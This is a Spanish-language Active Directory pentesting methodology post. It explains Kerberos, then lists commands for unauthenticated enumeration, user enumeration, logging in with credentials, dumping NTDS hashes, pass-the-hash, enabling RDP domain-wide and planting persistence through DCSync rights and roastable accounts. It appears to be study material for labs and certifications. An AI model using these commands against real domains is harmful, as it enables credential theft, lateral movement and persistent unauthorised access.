Metodología Active Directory

Conceptos básicos

Antes de poder enumerar/atacar un Active Directory tenemos que conocer cómo funciona la infraestructura.

Un Active Directory esta estructurado por 3 capas: dominio, trees (arboles), forests (bosques), un dominio abarca una colección de objetos, cómo usuarios o dispositivos. Los trees son grupos de estos dominios unidos por una estructura compartida, y por último los forests, que representan la colección de múltiples arboles, interconectados a través de relaciones de confianza, formando la capa más alta de la estructura de la organización.

Ejemplo de un Forest, Domain & Trees

Para más información: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#basic-overview

Kerberos

Antes de empezar a enumerar, tenemos que entender y saber cómo funciona Kerberos y su autenticación.

Kerberos es un protocolo de autenticación, no de autorización, es decir que permite identificar cada usuario el cuál proporcione una contraseña, sin embargo no valida qué recursos o servicios puede acceder ese usuario.

Este funciona en el puerto TCP/88 y UDP/88, este tiene 3 diferentes agentes que trabajan juntos para proporcionar autenticación a Kerberos:

• Cliente o Usuario: El que quiere acceder al servicio.

• AP (Application Server): el cual ofrece el servicio requerido por el usuario.

• KDC (Key Distribution Center): el servicio principal de Kerberos, responsable de realizar los tickets, instalado en el DC (Domain Controller). Esta soportado por AS (Authentication Service) el cual emite los TGS (Ticket Granting Service).

Tickets

La estructura de Kerberos funciona mediante tickets, estos tickets se entregan a los usuarios para que los utilicen los usuarios para realizar diferentes acciones en el ámbito Kerberos, hay estos 2 tipos:

• TGS (Ticket Granting Service): Este es el ticket el cual los usuarios pueden utilizar para autenticarse contra el servicio, está cifrado con una clave de servicio.

• TGT (Ticket Granting Ticket): Este es el ticket presentado al KDC () para realizar una petición al TGSs, esta cifrado con una KDC Key.

  • Un KDC o krbtgt es una clave que se deriva del hash NTLM de la cuenta krbtgt.

Ahora que hemos entendido los conceptos básicos, podemos ya empezar con la enumeración, igualmente si queréis saber más os dejo abajo un artículo muy bueno donde explica todo en más detalle.

Referencia

Kerberos (I): How does Kerberos work? - TheoryTarlogic Security

Ataques/Enumeraciones

Antes de empezar con le metodología, quiero poner por aquí los ataques que podemos encontrarnos cuando nos enfrentamos a un AD, y si le dais click en ellos os llevará a un tutorial de los mismos para cómo se llega a encontrar el ataque, enumerándolo y después efectuando el ataque.

• Samba Relay IPv4 & IPv6

• Password Spraying

• Dumping SAM

• Kerberoasting & ASP Roast

• Attacking Tickets

  • Golden

  • Silver

  • Diamond

• DLL Attack SCF file

• Bloodhound Enumeration

Metodología

Esta metodología la vamos a impartir de 2 modos, primero enumeración/reconocimiento del Active Directory sin credenciales/sesiones, y después otra enumeración teniendo credenciales/sesiones.

Enumeración sin credenciales/sesiones

Si no tenemos credenciales ni sesiones podemos efectuar una enumeración de la red, voy a dividirlo en varios puntos.

• Escanear la network y detectar que puertos están abiertos, si alguna de las versiones tienen alguna vulnerabilidad.

• Después un aspecto muy importante es descubrir el nombre del DC (jackie.local por ejemplo.), y entonces enumerar posibles recursos compartidos, DNS, archivos, impresoras etc...

• También encontrar posibles subdominios ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomain-top2000.txt:FUZZ -u https://FUZZ.jackie.local/

• Comprobar si funcionan las NULL sessions o Guest access en el SMB

  • enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>

  • smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>

  • smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //

139,445 - SMB | J4ckie0x17

Enumeración LDAP

Podemos enumerar el servicio LDAP (389, 636, 3268, 3269), sobretodo comprobar si tenemos acceso sin credenciales/null session

nmap -n -sV --script "ldap* and not brute" <IP>

Abajo os dejo un artículo mucho más extenso.

389, 636, 3268, 3269 - Pentesting LDAPHackTricks

Lo siguiente ya sería intentar envenenar la red, mediante ataques como Samba Relay, LLMNR/NBT-NS Poisoning, NTLM Relay:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay AttacksHackTricks

User Enumeration

Ya que no tenemos usuarios, podemos utilizar varias técnicas para enumerar usuarios.

./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>

msf> use auxiliary/gather/kerberos_enumusers

crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq

Una vez hayas conseguido algún usuario o un listado entonces puedes probar de realizar los siguientes ataques:

• ASREP Roast: Si los usuarios en cuestión no tienen el atributo "DONT_REQ_PREATUH" podemos solicitar un mensaje AS_REP para ese usuario que contendrá algunos datos cifrados mediante una derivación de la contraseña del usuario.

• Password Spraying: Con una lista de passwords comunes tipo (rockyou.txt)

Reference

Active Directory Methodology | HackTricks | HackTricks

Enumeración con credenciales/sesiones

(Artículo en progreso de extensión)

Active Directory MethodologyHackTricks

Ldap Enumeration con credenciales

Si tenemos credenciales validas podemos utilizar la herramienta LDAP Domain Dump, que sirve para enumerar el servicio LDAP sacando la información que recopila en archivos html, json para leerlo en web, es decir necesitaremos por ejemplo apache2 para verlo, lo haríamos de la siguiente manera:

1. Activamos el apache2 (sudo service apache2 start) y vamos a la carpeta /var/www/html

2. Seguidamente ejecutamos el siguiente comando -> sudo python3 /home/j4ckie0x17/Tools/ldapdomaindump/ldapdomaindump.py -u 's4vicorp.local\allimos' -p 'Password1' 192.168.218.142

Si hacemos ls -la veremos que se han creado varios archivos con toda la información obtenida

Vamos a localhost en Firefox o el navegador que tengáis y veremos que están todos los archivos, por ejemplo entramos en domain_users_by_group.html y vemos toda la información en tablas y con varias categorías, es una herramienta muy útil.

También otra manera de hacer este proceso, es utilizando la herramienta rcpclient.

rpcclient -U "dc.local\user%pass" <IP>
---------------------------------
userdomgroups
querygroupmem 0x200
queryuser 0x1f4

userdomgroups

querygroupmem 0x200

queryuser 0x1f4

Enumerar descripciones de usuarios

Si conseguimos unas credenciales, podemos realizar una comprobación de las descripciones de los usuarios, ya que a veces puede pasar que se creen usuarios por ejemplo de "test" con las credenciales en la descripción, por ejemplo ese usuario puede tener permisos de administrador.

Puedes realizar este proceso de manera manual o con un pequeño script que automatice el proceso.

# Manual #
# Obtener el rid del los usuarios #
rpcclient -U "dc.local\user%pass" 192.168.218.142 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep '0x' | tr -d '[]'
# Obtener la descripción de dicho usuario #
rpcclient -U "dc.local\user%pass" 192.168.218.142 -c "queryuser $rid"
# Automatizado #
for rid in $(rpcclient -U "dc.local\user%pass" 192.168.218.142 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep '0x' | tr -d '[]'); do echo -e "\n[+] Para el RID $rid\n"; rpcclient -U "dc.local\user%pass" 192.168.218.142 -c "queryuser $rid" | grep -E -i "user name|description" ;done

Cómo se vería el resultado del automatizado:

Login con credenciales

evil-winrm -u 'user' -p 'pass' -i <IP> # Si el puerto 5985 está abierto
psexec.py dc.local/user@<IP> powershell.exe | o cmd.exe

Post-Explotación

Siempre que hayamos comprometido el sistema, hay varias cosas que tenemos que podemos hacer, por ejemplo:

• Con crackmapexec podemos habilitar en todos los equipos el RDP: crackmapexec smb 192.168.218.0/24 -u 'Administrador' -p '123456%pass' -M rdp -o ACTION=enable

• También algo importante, podemos dumpearnos los hashes del ntds: crackmapexec smb 192.168.218.142 -u 'Administrador' -p '123456%pass' --ntds vss

  • Una vez obtenidos los hashes ntds podemos hacer un Pass The Hass que es iniciar una sesión con cierto usuario sin proporcionar contraseña: wmiexec.py j4ckie.local/allimos@192.168.218.143 -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b

Persistencia

Varias técnicas que hemos visto en anterioridad, se puede utilizar persistencia para si por ejemplo cambian la contraseña podríamos seguir entrando:

• Hacer vulnerable a los usuarios a Kerberoasting

Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r

• Hacer que los usuarios sean vulnerable a ASREPRoast:

Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

• Dar permisos de DCSync a un usuario normal:

Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync

También si hemos efecutado el ataque Golden Ticket, podemos obtener persistencia mediante el siguiente proceso Persistence Golden Ticket.

Cheat sheets

• Esta cheatsheet va genial: https://wadcoms.github.io/

• OSCP: https://xmind.app/m/vQuTSG/

• CRTP https://xmind.app/m/874LNH/

Aquí traigo otra cheat sheet que he encontrado que es muy completa, de hecho la más extensa que he encontrado: https://raw.githubusercontent.com/Orange-Cyberdefense/ocd-mindmaps/main/img/pentest_ad_dark_2023_02.svg

Active Directory Pentesting | Exploit Noteshideckies